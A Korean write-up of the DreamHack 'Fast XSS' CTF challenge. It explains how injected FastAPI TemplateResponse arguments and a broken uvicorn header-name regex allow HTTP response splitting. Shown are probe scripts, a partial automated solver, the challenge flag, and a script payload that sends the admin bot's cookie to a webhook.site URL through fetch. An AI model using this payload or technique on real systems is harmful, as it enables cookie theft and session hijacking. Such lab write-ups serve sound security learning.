2026-06-06·1분 읽기·
FastAPI의 TemplateResponse에 임의 kwarg를 주입해 응답 헤더를 손에 넣는다. 템플릿은 autoescape라 body로는 막히지만, uvicorn의 헤더 "이름" 검증 정규식이 문자클래스 조기 종료 버그로 깨져 있어 헤더 이름에 CRLF를 넣을 수 있었다. 응답 분리로 web 오리진에 <script>를 심어 어드민 봇의 FLAG 쿠키를 탈취했다. Theori OSR CTF 출제작.
이 글이 도움이 됐나요?
문제: DreamHack — Fast XSS (Theori Offensive Security Researcher Hiring CTF 출제작) 분류: Web 난이도: 🥇 Gold 1 FLAG:
DH{7a709e7d846af26c41613cbcf071cd8a5996150a60507007c129a092f720057c}
Hello {{ user }} ! 한 줄을 렌더하는 자그마한 FastAPI 앱과, 제출한 경로를 대신 방문해주는 어드민 봇. 봇은 FLAG를 쿠키로 들고 다닌다. XSS로 그 쿠키를 빼내는 게 목표다.
이름이 Fast XSS라 빠르게 끝날 줄 알았는데, 정작 XSS는 템플릿이 아니라 웹 서버 라이브러리(uvicorn)의 깨진 정규식에서 터졌다. body로 들어가는 길은 전부 막혀 있었고, 결국 응답 헤더로 우회해야 했다. 그 과정을 삽질까지 담아 적는다.

| 항목 | 내용 |
|---|---|
| 문제명 | Fast XSS |
| 난이도 | 🥇 Gold 1 |
| 분류 | Web (XSS / HTTP Response Splitting) |
| 스택 | FastAPI 0.105 · Starlette 0.32 · Jinja2 3.1.2 · uvicorn 0.24.0.post1 |
| 구성 | web(8000) + 어드민 봇(puppeteer, 1337) |
| 핵심 | TemplateResponse kwarg 주입 → uvicorn 헤더이름 정규식 우회 → 응답 분리 XSS |
코드가 짧으니 전부 읽고 시작한다.
FastAPI는 파이썬의 현대적 웹 프레임워크다. ASGI 기반이라 비동기로 빠르고(이름의 Fast), 내부적으로 Starlette(웹 토대) 위에서 돈다. HTML을 돌려줄 땐 Starlette의 Jinja2Templates.TemplateResponse로 Jinja2 템플릿을 렌더한다.

TemplateResponse가 받는 인자는 이렇게 생겼다.
TemplateResponse(name, context=None, status_code=200, headers=None, media_type=None, background=None)
# name : 렌더할 템플릿 파일명
# context : 템플릿에 넘길 변수 딕셔너리 ({{ user }} 등)
# status_code : 응답 상태 코드
# headers : 응답 헤더
# media_type : Content-Type평범하게 쓰면 TemplateResponse("index.html", {"request": request, "user": "Guest"})처럼 템플릿과 변수만 넘긴다. 그런데 이 문제 코드는 인자 전체를 사용자 입력으로 채운다. TemplateResponse(**context)의 context가 우리가 보낸 data와 병합되니, 템플릿 변수뿐 아니라 headers·media_type·status_code까지 우리가 정한다. 응답을 만드는 손잡이를 통째로 공격자에게 쥐여준 꼴이다 — 이 문제의 핵심 취약점이 바로 여기다.
@app.get("/")
async def index(request: Request, data: str = '{"context": {"user": "Guest"}}'):
try:
data = json.loads(data)
except:
data = {"context": {"user": "Guest"}}
context = {"name": "index.html", "request": request} | data
return templates.TemplateResponse(**context)data 쿼리 파라미터를 json.loads로 파싱한 뒤, 고정 딕셔너리에 병합(|) 하고 TemplateResponse(**context)로 펼친다. 파이썬 |는 오른쪽 피연산자가 키를 덮어쓰므로, data로 넘긴 키가 왼쪽을 이긴다. 즉 우리는 TemplateResponse에 들어가는 모든 키워드 인자를 통제한다 — name(템플릿), context(템플릿 변수), status_code, headers, media_type.
템플릿은 templates/index.html 딱 한 줄이다.
Hello {{ user }} !말로만 "다 제어된다"가 아니라, data에 인자를 하나씩 끼워 던져 보는 작은 정찰 스크립트를 짰다.
# probe.py — TemplateResponse kwarg 를 어디까지 제어하나
import json, urllib.parse, socket, requests
B = "http://host8.dreamhack.games:21624"
q = lambda o: "?data=" + urllib.parse.quote(json.dumps(o)) # data 쿼리스트링 생성
# body 는 autoescape 되나? → <b> 가 텍스트로 나오면 escape 된 것
print("[body] ", requests.get(B + q({"context": {"user": "<b>x</b>"}})).text.strip())
# media_type 으로 Content-Type 을 바꿀 수 있나?
print("[media_type] ", requests.get(B + q({"context": {"user": "x"}, "media_type": "text/plain"})).headers["content-type"])
# status_code 를 바꿀 수 있나?
print(
각 줄이 무엇을 묻는지는 라벨 그대로다. 실행하면 이렇게 나온다.

user에 <b>x</b>를 넣어도 Hello <b>x</b> ! — body는 이스케이프된다.media_type을 text/plain으로 주면 응답 Content-Type이 그대로 바뀐다.status_code를 418로 주면 응답 코드가 418이 된다.headers에 {"x-pwn": "1"}을 주면 임의 헤더 X-Pwn: 1이 붙는다.응답 헤더를 통째로 손에 넣었다. 다만 헤더 값에 \r\n을 넣으면 응답이 끊긴다(뒤에서 다룬다). 일단 이 제어력으로 무엇을 할 수 있는지가 관건이다.
const FLAG = process.env.FLAG ?? "DH{FLAG}";
...
const context = await browser.createIncognitoBrowserContext();
const page = await context.newPage();
await page.setCookie({ name: "FLAG", value: FLAG, domain: "web", path: "/" });
await page.goto("http://web:8000/" + path); // path 는 우리가 /api/report 로 보냄
await sleep(5 * 1000);봇은 매 요청마다 incognito 컨텍스트를 새로 열고, FLAG를 httpOnly가 아닌 쿠키로 web 도메인에 심은 뒤, 우리가 준 path로 http://web:8000/을 방문해 5초 머문다. 리포트 엔드포인트는 IP당 분에 4번으로 제한된다.
app.use("/api", rateLimit({ windowMs: 60 * 1000, max: 4 }));
app.post("/api/report", async (req, res) => { await visit(req.body.path); ... });httpOnly가 아니므로 web 오리진에서 JS만 돌면 document.cookie로 FLAG를 읽어 외부로 빼돌릴 수 있다. 그러니 문제는 "http://web:8000에서 스크립트를 실행시키기" 하나로 좁혀진다. path는 우리가 통제하니 봇을 http://web:8000/?data=<원하는 JSON>으로 보낼 수 있다.
XSS(Cross-Site Scripting)는 공격자가 심은 스크립트를 피해자의 브라우저가 피해자 권한으로 실행하게 만드는 취약점이다. CTF에선 보통 "어드민 봇"이 피해자 역할을 한다 — 공격자가 URL을 제출하면 봇이 그 URL을 방문하고, 봇 세션의 쿠키·토큰이 스크립트에 노출된다.

출처: Wikimedia Commons, Michel Bakni, CC BY-SA 4.0
이 문제도 같은 구조다. 봇에 path를 제출하면 봇이 http://web:8000/<path>를 연다. 그 응답에 스크립트를 심을 수만 있으면 document.cookie(FLAG)를 읽어 우리 서버로 보낼 수 있다. 남은 질문은 단 하나 — 어떻게 심느냐.
가장 먼저 떠오르는 건 {{ user }} 반사다. data로 user에 태그를 넣어봤지만 전부 이스케이프된다. 막힌 시도들을 토글로 정리한다.
user에 <b>injected?</b>를 넣어도 굵어지지 않고 글자 그대로 보인다.

Starlette의 Jinja2Templates는 환경을 만들 때 autoescape=True로 고정하므로 {{ user }}의 <, >가 <, >가 된다.
user를 문자열 대신 정수·리스트·딕트·<·전각 <로 바꿔봐도 전부 이스케이프되거나 <(U+003C)가 안 생긴다. markupsafe는 <>&"' 다섯 글자를 escape하고, JSON으로는 __html__을 가진 "안전" 객체를 만들 수 없다.name을 바꿔 autoescape를 끄려 해도 소용없다. Starlette는 를 확장자 기반 가 아니라 로 박아둬서, 어떤 이름의 템플릿이든 전부 이스케이프된다. 게다가 서버엔 한 장뿐이다.media_type으로 Content-Type을 바꿀 수 있으니 charset 트릭(선언한 인코딩으로 바이트를 재해석시켜 <를 만드는 기법)을 떠올렸다. 정찰 스크립트로 본문 바이트를 직접 떠봤다.
# probe_charset.py — charset 을 utf-16 으로 '선언'해도 본문 바이트가 바뀌나?
b16 = requests.get(B + q({"context": {"user": "AB"}, "media_type": "text/html; charset=utf-16"})).content
b8 = requests.get(B + q({"context": {"user": "AB"}})).content
print("charset=utf-16 선언 본문:", b16)
print("기본 본문:", b8)
media_type의 charset과 무관하게 본문을 로 인코딩한다. 선언만 이라 해도 바이트는 UTF-8 그대로다(위 hexdump 두 줄이 동일).그래서 시선을 본문에서 헤더로 옮겼다. 헤더로 응답을 쪼개 본문에 raw <script>를 심는 HTTP Response Splitting — 헤더 영역에 \r\n\r\n을 끼워 헤더부를 끝내고 그 뒤를 본문으로 만드는 고전 기법이다. 그런데 헤더 값에 \r\n을 넣으니 막혔다(위 정찰 캡쳐의 마지막 줄 — 응답이 끊긴다). 값 검증은 단단했다. 그럼 이름 검증은?
uvicorn이 응답 헤더를 내보내기 직전 검사하는 코드다.
HEADER_RE = re.compile(b'[\x00-\x1F\x7F()<>@,;:[]={} \t"]')
HEADER_VALUE_RE = re.compile(b"[\x00-\x1F\x7F]")
...
if HEADER_RE.search(name):
raise RuntimeError("Invalid HTTP header name.")
if HEADER_VALUE_RE.search(value):
raise RuntimeError("Invalid HTTP header value.")값 정규식 [\x00-\x1F\x7F]은 제어문자(\r=0x0D, \n=0x0A 포함)를 정확히 잡는다. 그래서 헤더 값 CRLF는 막혔다.
문제는 이름 정규식 [\x00-\x1F\x7F()<>@,;:[]={} \t"]이다. 자세히 보면 문자클래스 안에 :[]가 있다. 정규식에서 [는 클래스 안에서 리터럴이지만 ]는 클래스를 닫는다. 그래서 이 패턴은 의도와 전혀 다르게 파싱된다.
[\x00-\x1F\x7F()<>@,;:[] ={} \t"]
└──── 여기서 클래스가 닫힘 ───┘ └─ 이 뒤는 그냥 리터럴 시퀀스 ─┘즉 이 정규식은 "(문자클래스에 속한 문자 한 개) 그 바로 뒤에 리터럴 ={} \t"]가 이어질 때"만 매칭한다. 일반적인 헤더 이름은 그런 괴상한 꼬리를 갖지 않으니 사실상 아무것도 매칭하지 못한다. 직접 돌려보면 분명하다.
>>> HEADER_RE.search(b'a\r\nx-injected: 1') # 이름에 \r\n 이 있는데도
None # → 통과!
>>> HEADER_RE.search(b'<script>') # < > 가 있는데도
None
헤더 값의 \r\n은 막히지만, 헤더 이름의 \r\n은 이 깨진 정규식을 그대로 통과한다. 응답 분리는 이름으로 하면 된다. (이 버그는 이후 uvicorn에서 패턴을 고쳐 수정됐다.)
uvicorn은 헤더를 이름: 값\r\n 형태로 직렬화한다. 그러니 이름 안에 박은 \r\n이 그대로 응답 스트림에 나간다. 이름에 이렇게 넣는다.
headers = {
"x: x\r\ncontent-type: text/html\r\ncontent-length: N\r\n\r\n<script>...</script>": "x"
}그러면 브라우저가 받는 바이트 스트림은 이렇게 갈린다.

핵심은 Content-Length를 우리가 같이 주입한다는 점이다. 브라우저는 우리가 심은 content-type: text/html과 content-length: N을 헤더로 읽고, 그 뒤 정확히 N바이트(= 우리 <script> 길이)만 본문으로 가져간다. 원래의 Hello x !와 진짜 content-length는 N바이트 밖이라 무시된다. 그래서 본문은 깔끔하게 우리 스크립트 한 덩어리가 된다. 전체 흐름은 이렇다.

Starlette는 헤더를 직렬화할 때 이름에 .lower()를 적용한다. 우리 주입 페이로드(스크립트 포함)가 통째로 소문자가 된다는 뜻이다. JS는 대문자 없이 짜야 한다 — 다행히 document.cookie, fetch, location은 전부 소문자라 그대로 쓸 수 있다. (encodeURIComponent, Image 같은 대문자 포함 식별자는 망가지니 피한다.)
가시적으로 확인하려고 본문에 <h1>을 주입해봤다. web 오리진 페이지에 우리 HTML이 그대로 렌더된다 — 응답 분리가 먹혔다는 증거다.

이제 <h1> 대신 쿠키 유출 스크립트를 넣는다.
<script>fetch('https://webhook.site/<UUID>/?c='+document.cookie)</script>fetch는 cross-origin이라 응답은 못 읽지만, 요청은 그대로 나간다(CORS는 응답 읽기만 막는다). 그래서 URL에 실린 document.cookie는 우리 서버에 정상 도착한다. 이 스크립트를 응답 분리로 심은 ?data=<JSON>을 path로 만들어 어드민 봇에 제출한다.

봇이 http://web:8000/?data=...를 열면, 응답 분리로 심긴 스크립트가 web 오리진에서 실행돼 document.cookie(FLAG)를 읽어 webhook으로 보낸다. 수신 로그를 보면 referer가 http://web:8000/이고 origin이 http://web:8000 — 봇이 web에서 보낸 게 분명하다. query c에 FLAG가 실려 있다.

webhook 토큰 생성부터 봇 리포트, FLAG 폴링까지 한 번에 도는 스크립트다. 인자 없이 실행하면 끝난다.
#!/usr/bin/env python3
import json, time, urllib.parse, requests
BOT = "http://host8.dreamhack.games:8560"
def make_webhook():
uuid = requests.post("https://webhook.site/token", json={}, timeout=15).json()["uuid"]
return uuid, f"https://webhook.site/{uuid}"
def build_path(exfil_base):
js = f"fetch('{exfil_base}/?c='+document.cookie)" # 전부 소문자 (Starlette .lower())
payload = f"<script>{js}</script>".encode()
name = (
[1] webhook: https://webhook.site/03853784-cab7-4aa0-a2d2-6db82841c509
[3] bot report: HTTP 200 (bot 방문 + 5s 대기)
[+] FLAG: FLAG=DH{7a709e7d846af26c41613cbcf071cd8a5996150a60507007c129a092f720057c}
프레임워크의 "편리한" 추상화가 입력을 끝까지 책임지진 않는다.
TemplateResponse(**context)는 편의를 위해 모든 인자를 펼쳐 받는다. 하지만 그 인자가 사용자 입력으로 채워질 수 있다는 가정은 어디에도 없었다. 응답을 구성하는 인자(headers·media_type·status_code)를 외부 입력으로 덮어쓰게 두면, 본문이 막혀 있어도 헤더라는 다른 공격면이 통째로 열린다. 사용자 입력은 정해진 한 슬롯(여기선 context.user)에만 닿게 묶어야 했다.
정규식 문자클래스의 ]는 조용히 클래스를 닫는다.
[...:[]...]처럼 클래스 안에 ]를 무심코 넣으면 거기서 클래스가 끝나버려, 패턴이 의도와 전혀 다르게(거의 아무것도 안 잡게) 동작한다. 이 한 글자 때문에 uvicorn의 헤더 이름 검증이 통째로 무력화됐다. 검증용 정규식일수록 만든 뒤 "막아야 할 입력"으로 직접 때려보고, 클래스 안 ]·[는 \]·\[로 명시해야 한다.
값만 검증하고 이름을 빼먹으면 반쪽짜리다.
헤더 값의 CRLF는 정확히 막으면서 이름은 깨진 정규식에 맡긴 게 결정타였다. 한쪽 문만 잠그면 다른 문으로 들어온다. 응답을 만드는 데이터는 이름이든 값이든 같은 기준으로 검증해야 한다.
httpOnly 하나가 이 체인을 끊었을 것이다.
설령 XSS가 성립해도, FLAG 쿠키에 httpOnly만 있었다면 document.cookie로는 못 읽어 마지막 유출 단계가 막혔다. XSS를 100% 막지 못한다고 가정하고, 세션·비밀 쿠키는 httpOnly로 JS에서 떼어놓는 게 최소한의 방어선이다. 여기에 Content-Security-Policy로 외부 fetch를 묶었다면 한 겹 더 단단했다.
autoescapeselect_autoescapeTrueindex.html결론: 응답 본문에는 무슨 수를 써도 < 한 글자가 안 들어간다.
utf-16<(U+003C)는 Chrome이 지원하는 어떤 charset(UTF-8/16, Shift_JIS, EUC-KR, GBK …)에서도 바이트 0x3C 가 있어야 만들어진다. 그런데 0x3C는 정확히 이스케이프 대상이라 본문에 절대 안 나온다. charset 트릭은 원천적으로 막혀 있다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…